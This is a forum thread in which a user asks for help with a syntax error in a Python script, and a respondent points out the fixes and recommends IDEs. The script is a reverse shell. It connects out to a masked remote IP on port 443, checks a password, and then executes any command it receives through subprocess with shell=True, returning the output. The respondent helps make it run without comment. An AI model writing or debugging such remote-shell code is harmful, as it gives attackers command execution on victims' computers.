Hi, Just got back into python after 2 months of learning other stuff. Im getting an error on line 77. Pls help.

Question

I think im missing something when calling methods, im not sure what though.

CODE:

import socket
import subprocess

ip = '************'
port = '443'
password = '**********'

def login():
global s
s.send("Login: ")

pwd = s.recv(1024)

if pwd.strip() != password:
login()
else:
s.send("Connected #> ")
shell()

def shell():
while True:
data = s.recv(1024)

if data.strip() == ":kill":
quit()

proc = subprocess.popen(data, shell=true, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdir=subprocess.PIPE)

output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((int(ip),int(port))
login()

OUTPUT:

File "./python.py", line 77
login()
^
SyntaxError: invalid syntax

Answer 1

proc = subprocess.popen(data, shell=true, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdir=subprocess.PIPE) <-- shell=True also no reference to popen maybe Popen?, but then the argument (stdir) is unexpected. Python version 3.5

s.connect((int(ip),int(port)) <-- you're missing the last )

See if that helps.

P.S. which IDE do you use? I use PyCharm picked those issues up as soon as I pasted the code.

Answer 2

@ChaoticDawg Im on linux so im using sublime text. Thank you for the response.

Answer 3

Cool, I like sublime text. Hope your using something like the Anaconda and SublimeLinter with PyFlakes for your Python development. If not maybe give them a shot to help pick up on issues like this. I quit using ST for Py dev once I started using PyCharm especially since I am more familiar with the Jetbrains IDE's from Java and Android programming. They do make a free version for linux if you ever feel like trying it. Good luck, let me know if I can help any further.
